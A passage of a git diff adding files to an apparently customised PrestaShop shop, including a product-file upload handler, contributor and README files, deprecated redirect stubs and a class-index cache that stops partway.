+(isset($_FILES['virtual_product_file_attribute']['error']) && !$_FILES['virtual_product_file_attribute']['error']) || +(!empty($_FILES['virtual_product_file_attribute']['tmp_name']) && $_FILES['virtual_product_file_attribute']['tmp_name'] != 'none')) +{ + $filename = $_FILES['virtual_product_file_attribute']['name']; + $file = $_FILES['virtual_product_file_attribute']['tmp_name']; + $newfilename = ProductDownload::getNewFilename(); + + if (!copy($file, _PS_DOWNLOAD_DIR_.$newfilename)) + { + header('HTTP/1.1 500 Error'); + echo ''; + } + @unlink($file); + + header('HTTP/1.1 200 OK'); + echo ''; +} +else +{ + header('HTTP/1.1 500 Error'); + echo ''; +} diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100755 index 0000000..944062c --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,12 @@ +Contributing +------------ + +PrestaShop is an open-source e-commerce solution - To contribute to our project, you can make pull requests on the development branch. +If you need some help to make a [pull-request][1] +All contributions must respect [the coding norm][2] and [the commit norm][3] in your pull-request. +All core files you commit in your pull request must have Open Software License (OSL 3.0) +All modules files you commit in your pull request must have Academic Free License (AFL 3.0) + +[1]: https://help.github.com/articles/using-pull-requests +[2]: http://docs.prestashop.com/display/PS15/Coding+Standard +[3]: http://docs.prestashop.com/display/PS15/How+to+write+a+commit+message \ No newline at end of file diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100755 index 0000000..bf51b01 --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,87 @@ + - (d)oekia + - Alexander Otchenashev + - Andrew + - Benjamin PONGY + - Burhan + - Caleydon Media + - Cédric Mouleyre + - Damien Metzger + - DamienMetzger + - Damon Skelhorn + - Daniel + - David Gasperoni + - DrySs + - DrÿSs' + - François Gaillard + - Gabriel Schwardy + - Gregory Roussac + - Ha!*!*y + - Jonathan Danse + - Krystian Podemski + - Marco Cervellin + - Michel Courtade + - Milow + - Patanock + - Pierre + - PrestaEdit + - Raphaël Malié + - Rémi Gaillard + - Samy Rabih + - Sarah Lorenzini + - Shagshag + - Vincent Augagneur + - Vincent Terenti + - Xavier POITAU + - aFolletete + - aKorczak + - aNiassy + - adonis karavokyros + - anat + - bLeveque + - bMancone + - bumbu + - ccauw + - cmouleyre + - dMetzger + - dSevere + - djfm + - fBrignoli + - fSerny + - fram + - gBrunier + - gCharmes + - gPoulain + - gRoussac + - hAitmansour + - ivancasasempere + - jBreux + - jObregon + - jessylenne + - jmCollin + - kpodemski + - lBrieu + - lCherifi + - lLefevre + - ldecoker + - mBertholino + - mDeflotte + - mMarinetti + - marcinsz101 + - montes + - nPellicari + - nezenmoins + - nturato + - oleacorner + - pxls + - rGaillard + - rMalie + - rMontagne + - root + - sLorenzini + - sThiebaut + - tDidierjean + - vAugagneur + - vChabot + - vKham + - vSchoener + diff --git a/README.md b/README.md new file mode 100755 index 0000000..0d1f0df --- /dev/null +++ b/README.md @@ -0,0 +1,48 @@ +README +====== +![PrestaShop](http://www.prestashop.com/images/banners/general/prestashop_728x90.png "PrestaShop") + +PREPARATION +-------- + +To install PrestaShop, you need a remote web server or on your computer (MAMP), with access to a database like MySQL. +You'll need access to phpMyAdmin to create a database and to indicate the information in the database in the installer. + +If you do not host and unable to create your store, we offer a turnkey store, which lets you create your online store in less than 10 minutes without any technical knowledge. +We invite you to visit: [http://www.prestabox.com][1] + +INSTALLATION +-------- + +Simply go to your PrestaShop web directory and use installer :-) + +If you have any PHP error, perhaps you don't have PHP5 or you need to activate it on your web host. +Please go to our forum to find pre-installation settings (PHP 5, htaccess) for certain hosting services (1&1, Free, Lycos, OVH, Infomaniak, Amen, GoDaddy, etc). + +English webhost [specifics settings][2] + + +If you don't find any solution to launch installer, please post on [our forum][3] + + +There are always solutions for your issues ;-) + +DOCUMENTATION +-------- + +For any extra documentation (how-to), please read our [Online documentation][4] + + +FORUMS +-------- + +You can also discuss, help and contribute with PrestaShop community on [our forums][5] + + +Thanks for downloading and using PrestaShop e-commerce Open-source solution! + +[1]: http://www.prestabox.com +[2]: http://www.prestashop.com/forums/topic/2946-pre-installation-settings-php-5-htaccess-for-certain-hosting-services/ +[3]: http://www.prestashop.com/forums/forum/7-installing-prestashop/ +[4]: http://doc.prestashop.com +[5]: http://www.prestashop.com/forums/ \ No newline at end of file diff --git a/address.php b/address.php new file mode 100755 index 0000000..fcfac54 --- /dev/null +++ b/address.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=address'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/addresses.php b/addresses.php new file mode 100755 index 0000000..75e3a1d --- /dev/null +++ b/addresses.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=addresses'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/attachment.php b/attachment.php new file mode 100755 index 0000000..bca6b75 --- /dev/null +++ b/attachment.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=attachment'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/authentication.php b/authentication.php new file mode 100755 index 0000000..109e775 --- /dev/null +++ b/authentication.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=authentication'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/best-sales.php b/best-sales.php new file mode 100755 index 0000000..2a6a11a --- /dev/null +++ b/best-sales.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=best-sales'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/cache/__class_index.php b/cache/__class_index.php new file mode 100755 index 0000000..94e188e --- /dev/null +++ b/cache/__class_index.php @@ -0,0 +1,675 @@ + '', + 'AbstractLoggerCore' => 'classes/log/AbstractLogger.php', + 'Address' => 'override/classes/Address.php', + 'AddressController' => 'override/controllers/front/AddressController.php', + 'AddressControllerCore' => 'controllers/front/AddressController.php', + 'AddressCore' => 'classes/Address.php', + 'AddressFormat' => '', + 'AddressFormatCore' => 'classes/AddressFormat.php', + 'AddressesController' => '', + 'AddressesControllerCore' => 'controllers/front/AddressesController.php', + 'AdminAccessController' => '', + 'AdminAccessControllerCore' => 'controllers/admin/AdminAccessController.php', + 'AdminAddonsCatalogController' => '', + 'AdminAddonsCatalogControllerCore' => 'controllers/admin/AdminAddonsCatalogController.php', + 'AdminAddressesController' => '', + 'AdminAddressesControllerCore' => 'controllers/admin/AdminAddressesController.php', + 'AdminAdminPreferencesController' => '', + 'AdminAdminPreferencesControllerCore' => 'controllers/admin/AdminAdminPreferencesController.php', + 'AdminAttachmentsController' => '', + 'AdminAttachmentsControllerCore' => 'controllers/admin/AdminAttachmentsController.php', + 'AdminAttributeGeneratorController' => '', + 'AdminAttributeGeneratorControllerCore' => 'controllers/admin/AdminAttributeGeneratorController.php', + 'AdminAttributesGroupsController' => '', + 'AdminAttributesGroupsControllerCore' => 'controllers/admin/AdminAttributesGroupsController.php', + 'AdminBackupController' => '', + 'AdminBackupControllerCore' => 'controllers/admin/AdminBackupController.php', + 'AdminCarriersController' => '', + 'AdminCarriersControllerCore' => 'controllers/admin/AdminCarriersController.php', + 'AdminCartRulesController' => '', + 'AdminCartRulesControllerCore' => 'controllers/admin/AdminCartRulesController.php', + 'AdminCartsController' => '', + 'AdminCartsControllerCore' => 'controllers/admin/AdminCartsController.php', + 'AdminCategoriesController' => 'override/controllers/admin/AdminCategoriesController.php', + 'AdminCategoriesControllerCore' => 'controllers/admin/AdminCategoriesController.php', + 'AdminCmsCategoriesController' => '', + 'AdminCmsCategoriesControllerCore' => 'controllers/admin/AdminCmsCategoriesController.php', + 'AdminCmsContentController' => '', + 'AdminCmsContentControllerCore' => 'controllers/admin/AdminCmsContentController.php', + 'AdminCmsController' => '', + 'AdminCmsControllerCore' => 'controllers/admin/AdminCmsController.php', + 'AdminContactsController' => '', + 'AdminContactsControllerCore' => 'controllers/admin/AdminContactsController.php', + 'AdminController' => '', + 'AdminControllerCore' => 'classes/controller/AdminController.php', + 'AdminCountriesController' => '', + 'AdminCountriesControllerCore' => 'controllers/admin/AdminCountriesController.php', + 'AdminCurrenciesController' => '', + 'AdminCurrenciesControllerCore' => 'controllers/admin/AdminCurrenciesController.php', + 'AdminCustomerPreferencesController' => '', + 'AdminCustomerPreferencesControllerCore' => 'controllers/admin/AdminCustomerPreferencesController.php', + 'AdminCustomerThreadsController' => '', + 'AdminCustomerThreadsControllerCore' => 'controllers/admin/AdminCustomerThreadsController.php', + 'AdminCustomersController' => '', + 'AdminCustomersControllerCore' => 'controllers/admin/AdminCustomersController.php', + 'AdminDeliverySlipController' => '', + 'AdminDeliverySlipControllerCore' => 'controllers/admin/AdminDeliverySlipController.php', + 'AdminEmailsController' => '', + 'AdminEmailsControllerCore' => 'controllers/admin/AdminEmailsController.php', + 'AdminEmployeesController' => '', + 'AdminEmployeesControllerCore' => 'controllers/admin/AdminEmployeesController.php', + 'AdminFeaturesController' => '', + 'AdminFeaturesControllerCore' => 'controllers/admin/AdminFeaturesController.php', + 'AdminGendersController' => '', + 'AdminGendersControllerCore' => 'controllers/admin/AdminGendersController.php', + 'AdminGeolocationController' => '', + 'AdminGeolocationControllerCore' => 'controllers/admin/AdminGeolocationController.php', + 'AdminGroupsController' => '', + 'AdminGroupsControllerCore' => 'controllers/admin/AdminGroupsController.php', + 'AdminHomeController' => '', + 'AdminHomeControllerCore' => 'controllers/admin/AdminHomeController.php', + 'AdminImagesController' => '', + 'AdminImagesControllerCore' => 'controllers/admin/AdminImagesController.php', + 'AdminImportController' => '', + 'AdminImportControllerCore' => 'controllers/admin/AdminImportController.php', + 'AdminInformationController' => '', + 'AdminInformationControllerCore' => 'controllers/admin/AdminInformationController.php', + 'AdminInvoicesController' => '', + 'AdminInvoicesControllerCore' => 'controllers/admin/AdminInvoicesController.php', + 'AdminLanguagesController' => '', + 'AdminLanguagesControllerCore' => 'controllers/admin/AdminLanguagesController.php', + 'AdminLocalizationController' => '', + 'AdminLocalizationControllerCore' => 'controllers/admin/AdminLocalizationController.php', + 'AdminLoginController' => '', + 'AdminLoginControllerCore' => 'controllers/admin/AdminLoginController.php', + 'AdminLogsController' => '', + 'AdminLogsControllerCore' => 'controllers/admin/AdminLogsController.php', + 'AdminMaintenanceController' => '', + 'AdminMaintenanceControllerCore' => 'controllers/admin/AdminMaintenanceController.php', + 'AdminManufacturersController' => '', + 'AdminManufacturersControllerCore' => 'controllers/admin/AdminManufacturersController.php', + 'AdminMarketingController' => '', + 'AdminMarketingControllerCore' => 'controllers/admin/AdminMarketingController.php', + 'AdminMetaController' => '', + 'AdminMetaControllerCore' => 'controllers/admin/AdminMetaController.php', + 'AdminModulesController' => '', + 'AdminModulesControllerCore' => 'controllers/admin/AdminModulesController.php', + 'AdminModulesPositionsController' => '', + 'AdminModulesPositionsControllerCore' => 'controllers/admin/AdminModulesPositionsController.php', + 'AdminNotFoundController' => '', + 'AdminNotFoundControllerCore' => 'controllers/admin/AdminNotFoundController.php', + 'AdminOrderMessageController' => '', + 'AdminOrderMessageControllerCore' => 'controllers/admin/AdminOrderMessageController.php', + 'AdminOrderPreferencesController' => '', + 'AdminOrderPreferencesControllerCore' => 'controllers/admin/AdminOrderPreferencesController.php', + 'AdminOrdersController' => '', + 'AdminOrdersControllerCore' => 'controllers/admin/AdminOrdersController.php', + 'AdminOutstandingController' => '', + 'AdminOutstandingControllerCore' => 'controllers/admin/AdminOutstandingController.php', + 'AdminPPreferencesController' => '', + 'AdminPPreferencesControllerCore' => 'controllers/admin/AdminPPreferencesController.php', + 'AdminPaymentController' => '', + 'AdminPaymentControllerCore' => 'controllers/admin/AdminPaymentController.php', + 'AdminPdfController' => '', + 'AdminPdfControllerCore' => 'controllers/admin/AdminPdfController.php', + 'AdminPerformanceController' => '', + 'AdminPerformanceControllerCore' => 'controllers/admin/AdminPerformanceController.php', + 'AdminPreferencesController' => '', + 'AdminPreferencesControllerCore' => 'controllers/admin/AdminPreferencesController.php', + 'AdminProductsController' => 'override/controllers/admin/AdminProductsController.php', + 'AdminProductsControllerCore' => 'controllers/admin/AdminProductsController.php', + 'AdminProfilesController' => '', + 'AdminProfilesControllerCore' => 'controllers/admin/AdminProfilesController.php', + 'AdminQuickAccessesController' => '', + 'AdminQuickAccessesControllerCore' => 'controllers/admin/AdminQuickAccessesController.php', + 'AdminRangePriceController' => '', + 'AdminRangePriceControllerCore' => 'controllers/admin/AdminRangePriceController.php', + 'AdminRangeWeightController' => '', + 'AdminRangeWeightControllerCore' => 'controllers/admin/AdminRangeWeightController.php', + 'AdminReferrersController' => '', + 'AdminReferrersControllerCore' => 'controllers/admin/AdminReferrersController.php', + 'AdminRequestSqlController' => '', + 'AdminRequestSqlControllerCore' => 'controllers/admin/AdminRequestSqlController.php', + 'AdminReturnController' => '', + 'AdminReturnControllerCore' => 'controllers/admin/AdminReturnController.php', + 'AdminScenesController' => '', + 'AdminScenesControllerCore' => 'controllers/admin/AdminScenesController.php', + 'AdminSearchConfController' => '', + 'AdminSearchConfControllerCore' => 'controllers/admin/AdminSearchConfController.php', + 'AdminSearchController' => '', + 'AdminSearchControllerCore' => 'controllers/admin/AdminSearchController.php', + 'AdminSearchEnginesController' => '', + 'AdminSearchEnginesControllerCore' => 'controllers/admin/AdminSearchEnginesController.php', + 'AdminShippingController' => '', + 'AdminShippingControllerCore' => 'controllers/admin/AdminShippingController.php', + 'AdminShopController' => '', + 'AdminShopControllerCore' => 'controllers/admin/AdminShopController.php', + 'AdminShopGroupController' => '', + 'AdminShopGroupControllerCore' => 'controllers/admin/AdminShopGroupController.php', + 'AdminShopUrlController' => '', + 'AdminShopUrlControllerCore' => 'controllers/admin/AdminShopUrlController.php', + 'AdminSlipController' => '', + 'AdminSlipControllerCore' => 'controllers/admin/AdminSlipController.php', + 'AdminSpecificPriceRuleController' => '', + 'AdminSpecificPriceRuleControllerCore' => 'controllers/admin/AdminSpecificPriceRuleController.php', + 'AdminStatesController' => '', + 'AdminStatesControllerCore' => 'controllers/admin/AdminStatesController.php', + 'AdminStatsController' => '', + 'AdminStatsControllerCore' => 'controllers/admin/AdminStatsController.php', + 'AdminStatsTabController' => '', + 'AdminStatsTabControllerCore' => 'controllers/admin/AdminStatsTabController.php', + 'AdminStatusesController' => '', + 'AdminStatusesControllerCore' => 'controllers/admin/AdminStatusesController.php', + 'AdminStockConfigurationController' => '', + 'AdminStockConfigurationControllerCore' => 'controllers/admin/AdminStockConfigurationController.php', + 'AdminStockCoverController' => '', + 'AdminStockCoverControllerCore' => 'controllers/admin/AdminStockCoverController.php', + 'AdminStockInstantStateController' => '', + 'AdminStockInstantStateControllerCore' => 'controllers/admin/AdminStockInstantStateController.php', + 'AdminStockManagementController' => '', + 'AdminStockManagementControllerCore' => 'controllers/admin/AdminStockManagementController.php', + 'AdminStockMvtController' => '', + 'AdminStockMvtControllerCore' => 'controllers/admin/AdminStockMvtController.php', + 'AdminStoresController' => '', + 'AdminStoresControllerCore' => 'controllers/admin/AdminStoresController.php', + 'AdminSuppliersController' => '', + 'AdminSuppliersControllerCore' => 'controllers/admin/AdminSuppliersController.php', + 'AdminSupplyOrdersController' => '', + 'AdminSupplyOrdersControllerCore' => 'controllers/admin/AdminSupplyOrdersController.php', + 'AdminTab' => '', + 'AdminTabCore' => 'classes/AdminTab.php', + 'AdminTabsController' => '', + 'AdminTabsControllerCore' => 'controllers/admin/AdminTabsController.php', + 'AdminTagsController' => '', + 'AdminTagsControllerCore' => 'controllers/admin/AdminTagsController.php', + 'AdminTaxRulesGroupController' => '', + 'AdminTaxRulesGroupControllerCore' => 'controllers/admin/AdminTaxRulesGroupController.php', + 'AdminTaxesController' => '', + 'AdminTaxesControllerCore' => 'controllers/admin/AdminTaxesController.php', + 'AdminThemesController' => '', + 'AdminThemesControllerCore' => 'controllers/admin/AdminThemesController.php', + 'AdminTrackingController' => '', + 'AdminTrackingControllerCore' => 'controllers/admin/AdminTrackingController.php', + 'AdminTranslationsController' => '', + 'AdminTranslationsControllerCore' => 'controllers/admin/AdminTranslationsController.php', + 'AdminWarehousesController' => '', + 'AdminWarehousesControllerCore' => 'controllers/admin/AdminWarehousesController.php', + 'AdminWebserviceController' => '', + 'AdminWebserviceControllerCore' => 'controllers/admin/AdminWebserviceController.php', + 'AdminZonesController' => '', + 'AdminZonesControllerCore' => 'controllers/admin/AdminZonesController.php', + 'Alias' => '', + 'AliasCore' => 'classes/Alias.php', + 'Attachment' => '', + 'AttachmentController' => '', + 'AttachmentControllerCore' => 'controllers/front/AttachmentController.php', + 'AttachmentCore' => 'classes/Attachment.php', + 'Attribute' => '', + 'AttributeCore' => 'classes/Attribute.php', + 'AttributeGroup' => '', + 'AttributeGroupCore' => 'classes/AttributeGroup.php', + 'AuthController' => 'override/controllers/front/AuthController.php', + 'AuthControllerCore' => 'controllers/front/AuthController.php', + 'Autoload' => 'classes/Autoload.php', + 'Backup' => '', + 'BackupCore' => 'classes/Backup.php', + 'BestSalesController' => '', + 'BestSalesControllerCore' => 'controllers/front/BestSalesController.php', + 'Blowfish' => '', + 'BlowfishCore' => 'classes/Blowfish.php', + 'CMS' => '', + 'CMSCategory' => '', + 'CMSCategoryCore' => 'classes/CMSCategory.php', + 'CMSCore' => 'classes/CMS.php', + 'CSV' => '', + 'CSVCore' => 'classes/CSV.php', + 'Cache' => '', + 'CacheApc' => '', + 'CacheApcCore' => 'classes/cache/CacheApc.php', + 'CacheCore' => 'classes/cache/Cache.php', + 'CacheFs' => '', + 'CacheFsCore' => 'classes/cache/CacheFs.php', + 'CacheMemcache' => '', + 'CacheMemcacheCore' => 'classes/cache/CacheMemcache.php', + 'CacheXcache' => '', + 'CacheXcacheCore' => 'classes/cache/CacheXcache.php', + 'Carrier' => '', + 'CarrierCore' => 'classes/Carrier.php', + 'CarrierModule' => '', + 'CarrierModuleCore' => 'classes/module/CarrierModule.php', + 'Cart' => 'override/classes/Cart.php', + 'CartController' => 'override/controllers/front/CartController.php', + 'CartControllerCore' => 'controllers/front/CartController.php', + 'CartCore' => 'classes/Cart.php', + 'CartRule' => '', + 'CartRuleCore' => 'classes/CartRule.php', + 'Category' => 'override/classes/Category.php', + 'CategoryController' => 'override/controllers/front/CategoryController.php', + 'CategoryControllerCore' => 'controllers/front/CategoryController.php', + 'CategoryCore' => 'classes/Category.php', + 'ChangeCurrencyController' => '', + 'ChangeCurrencyControllerCore' => 'controllers/front/ChangeCurrencyController.php', + 'Chart' => '', + 'ChartCore' => 'classes/Chart.php', + 'CmsController' => 'override/controllers/front/CmsController.php', + 'CmsControllerCore' => 'controllers/front/CmsController.php', + 'Collection' => '', + 'CollectionCore' => 'classes/Collection.php', + 'Combination' => '', + 'CombinationCore' => 'classes/Combination.php', + 'CompareController' => '', + 'CompareControllerCore' => 'controllers/front/CompareController.php', + 'CompareProduct' => '', + 'CompareProductCore' => 'classes/CompareProduct.php', + 'Configuration' => '', + 'ConfigurationCore' => 'classes/Configuration.php', + 'ConfigurationTest' => '', + 'ConfigurationTestCore' => 'classes/ConfigurationTest.php', + 'Connection' => '', + 'ConnectionCore' => 'classes/Connection.php', + 'ConnectionsSource' => '', + 'ConnectionsSourceCore' => 'classes/ConnectionsSource.php', + 'Contact' => '', + 'ContactController' => 'override/controllers/front/ContactController.php', + 'ContactControllerCore' => 'controllers/front/ContactController.php', + 'ContactCore' => 'classes/Contact.php', + 'Context' => '', + 'ContextCore' => 'classes/Context.php', + 'Controller' => '', + 'ControllerCore' => 'override/classes/range/Controller.php', + 'ControllerFactory' => '', + 'ControllerFactoryCore' => 'classes/ControllerFactory.php', + 'Cookie' => '', + 'CookieCore' => 'classes/Cookie.php', + 'Country' => '', + 'CountryCore' => 'classes/Country.php', + 'County' => '', + 'CountyCore' => 'classes/County.php', + 'Currency' => '', + 'CurrencyCore' => 'classes/Currency.php', + 'Customer' => 'override/classes/Customer.php', + 'CustomerCore' => 'classes/Customer.php', + 'CustomerMessage' => '', + 'CustomerMessageCore' => 'classes/CustomerMessage.php', + 'CustomerThread' => '', + 'CustomerThreadCore' => 'classes/CustomerThread.php', + 'Customization' => '', + 'CustomizationCore' => 'classes/Customization.php', + 'DateRange' => '', + 'DateRangeCore' => 'classes/DateRange.php', + 'Db' => '', + 'DbCore' => 'classes/db/Db.php', + 'DbMySQLi' => '', + 'DbMySQLiCore' => 'classes/db/DbMySQLi.php', + 'DbPDO' => '', + 'DbPDOCore' => 'classes/db/DbPDO.php', + 'DbQuery' => '', + 'DbQueryCore' => 'classes/db/DbQuery.php', + 'Delivery' => '', + 'DeliveryCore' => 'classes/Delivery.php', + 'DesinscriptionController' => '', + 'DesinscriptionControllerCore' => 'controllers/front/DesinscriptionController.php', + 'Diagnostic' => '', + 'DiagnosticController' => '', + 'DiagnosticControllerCore' => 'controllers/front/DiagnosticController.php', + 'DiagnosticCore' => 'classes/Diagnostic.php', + 'DiagnosticpdfController' => '', + 'DiagnosticpdfControllerCore' => 'controllers/front/DiagnosticpdfController.php', + 'DiagnosticpdfemailController' => '', + 'DiagnosticpdfemailControllerCore' => 'controllers/front/DiagnosticpdfemailController.php', + 'Discount' => '', + 'DiscountController' => '', + 'DiscountControllerCore' => 'controllers/front/DiscountController.php', + 'DiscountCore' => 'classes/Discount.php', + 'Dispatcher' => '', + 'DispatcherCore' => 'classes/Dispatcher.php', + 'Employee' => '', + 'EmployeeCore' => 'classes/Employee.php', + 'EspacepharmaciensController' => '', + 'EspacepharmaciensControllerCore' => 'controllers/front/EspacepharmaciensController.php', + 'FaqController' => '', + 'FaqControllerCore' => 'controllers/front/FaqController.php', + 'Feature' => '', + 'FeatureCore' => 'classes/Feature.php', + 'FeatureValue' => '', + 'FeatureValueCore' => 'classes/FeatureValue.php', + 'FileLogger' => '', + 'FileLoggerCore' => 'classes/log/FileLogger.php', + 'FileUploader' => '', + 'FileUploaderCore' => 'classes/FileUploader.php', + 'FrontController' => 'override/classes/controller/FrontController.php', + 'FrontControllerCore' => 'classes/controller/FrontController.php', + 'Gender' => '', + 'GenderCore' => 'classes/Gender.php', + 'GetFileController' => '', + 'GetFileControllerCore' => 'controllers/front/GetFileController.php', + 'Group' => '', + 'GroupCore' => 'classes/Group.php', + 'GroupReduction' => '', + 'GroupReductionCore' => 'classes/GroupReduction.php', + 'Guest' => '', + 'GuestCore' => 'classes/Guest.php', + 'GuestTrackingController' => '', + 'GuestTrackingControllerCore' => 'controllers/front/GuestTrackingController.php', + 'HTMLTemplate' => '', + 'HTMLTemplateCore' => 'classes/pdf/HTMLTemplate.php', + 'HTMLTemplateDeliverySlip' => '', + 'HTMLTemplateDeliverySlipCore' => 'classes/pdf/HTMLTemplateDeliverySlip.php', + 'HTMLTemplateDiagnostic' => '', + 'HTMLTemplateDiagnosticCore' => 'classes/pdf/HTMLTemplateDiagnostic.php', + 'HTMLTemplateInvoice' => '', + 'HTMLTemplateInvoiceCore' => 'classes/pdf/HTMLTemplateInvoice.php', + 'HTMLTemplateOffredefidelite' => '', + 'HTMLTemplateOffredefideliteCore' => 'classes/pdf/HTMLTemplateOffredefidelite.php', + 'HTMLTemplateOrderReturn' => '', + 'HTMLTemplateOrderReturnCore' => 'classes/pdf/HTMLTemplateOrderReturn.php', + 'HTMLTemplateOrderSlip' => '', + 'HTMLTemplateOrderSlipCore' => 'classes/pdf/HTMLTemplateOrderSlip.php', + 'HTMLTemplateSupplyOrderForm' => '', + 'HTMLTemplateSupplyOrderFormCore' => 'classes/pdf/HTMLTemplateSupplyOrderForm.php', + 'HelpAccess' => '', + 'HelpAccessCore' => 'classes/HelpAccess.php', + 'Helper' => '', + 'HelperCore' => 'classes/helper/Helper.php', + 'HelperForm' => '', + 'HelperFormCore' => 'classes/helper/HelperForm.php', + 'HelperHelpAccess' => '', + 'HelperHelpAccessCore' => 'classes/helper/HelperHelpAccess.php', + 'HelperList' => '', + 'HelperListCore' => 'classes/helper/HelperList.php', + 'HelperOptions' => '', + 'HelperOptionsCore' => 'classes/helper/HelperOptions.php', + 'HelperView' => '', + 'HelperViewCore' => 'classes/helper/HelperView.php', + 'HistoryController' => '', + 'HistoryControllerCore' => 'controllers/front/HistoryController.php', + 'Hook' => '', + 'HookCore' => 'classes/Hook.php', + 'IdentityController' => 'override/controllers/front/IdentityController.php', + 'IdentityControllerCore' => 'controllers/front/IdentityController.php', + 'Image' => '', + 'ImageCore' => 'classes/Image.php', + 'ImageManager' => '', + 'ImageManagerCore' => 'classes/ImageManager.php', + 'ImageType' => '', + 'ImageTypeCore' => 'classes/ImageType.php', + 'ImportModule' => '', + 'ImportModuleCore' => 'classes/module/ImportModule.php', + 'IndexController' => 'override/controllers/front/IndexController.php', + 'IndexControllerCore' => 'controllers/front/IndexController.php', + 'InscriptionController' => '', + 'InscriptionControllerCore' => 'controllers/front/InscriptionController.php', + 'Language' => '', + 'LanguageCore' => 'classes/Language.php', + 'Link' => 'override/classes/Link.php', + 'LinkCore' => 'classes/Link.php', + 'LivredorController' => '', + 'LivredorControllerCore' => 'controllers/front/LivredorController.php', + 'LocalizationPack' => '', + 'LocalizationPackCore' => 'classes/LocalizationPack.php', + 'Logger' => '', + 'LoggerCore' => 'classes/Logger.php', + 'Mail' => '', + 'MailCore' => 'classes/Mail.php', + 'Manufacturer' => '', + 'ManufacturerController' => '', + 'ManufacturerControllerCore' => 'controllers/front/ManufacturerController.php', + 'ManufacturerCore' => 'classes/Manufacturer.php', + 'Media' => '', + 'MediaCore' => 'classes/Media.php', + 'Message' => '', + 'MessageCore' => 'classes/Message.php', + 'Meta' => '', + 'MetaCore' => 'classes/Meta.php', + 'Module' => '', + 'ModuleAdminController' => 'override/classes/controller/ModuleAdminController.php', + 'ModuleAdminControllerCore' => 'classes/controller/ModuleAdminController.php', + 'ModuleCore' => 'classes/module/Module.php', + 'ModuleFrontController' => 'override/classes/controller/ModuleFrontController.php', + 'ModuleFrontControllerCore' => 'classes/controller/ModuleFrontController.php', + 'ModuleGraph' => '', + 'ModuleGraphCore' => 'classes/module/ModuleGraph.php', + 'ModuleGraphEngine' => '', + 'ModuleGraphEngineCore' => 'classes/module/ModuleGraphEngine.php', + 'ModuleGrid' => '', + 'ModuleGridCore' => 'classes/module/ModuleGrid.php', + 'ModuleGridEngine' => '', + 'ModuleGridEngineCore' => 'classes/module/ModuleGridEngine.php', + 'MyAccountController' => '', + 'MyAccountControllerCore' => 'controllers/front/MyAccountController.php', + 'MySQL' => '', + 'MySQLCore' => 'classes/db/MySQL.php', + 'NewProductsController' => '', + 'NewProductsControllerCore' => 'controllers/front/NewProductsController.php', + 'Notification' => '', + 'NotificationCore' => 'classes/Notification.php', + 'ObjectModel' => '', + 'ObjectModelCore' => 'classes/ObjectModel.php', + 'Offredefidelite' => '', + 'OffredefideliteController' => '', + 'OffredefideliteControllerCore' => 'controllers/front/OffredefideliteController.php', + 'OffredefideliteCore' => 'classes/Offredefidelite.php', + 'OffrefideliteController' => '', + 'OffrefideliteControllerCore' => 'controllers/front/OffrefideliteController.php', + 'OffrefidelitepdfController' => '', + 'OffrefidelitepdfControllerCore' => 'controllers/front/OffrefidelitepdfController.php', + 'Order' => '', + 'OrderCarrier' => '', + 'OrderCarrierCore' => 'classes/order/OrderCarrier.php', + 'OrderCartRule' => '', + 'OrderCartRuleCore' => 'classes/order/OrderCartRule.php', + 'OrderConfirmationController' => '', + 'OrderConfirmationControllerCore' => 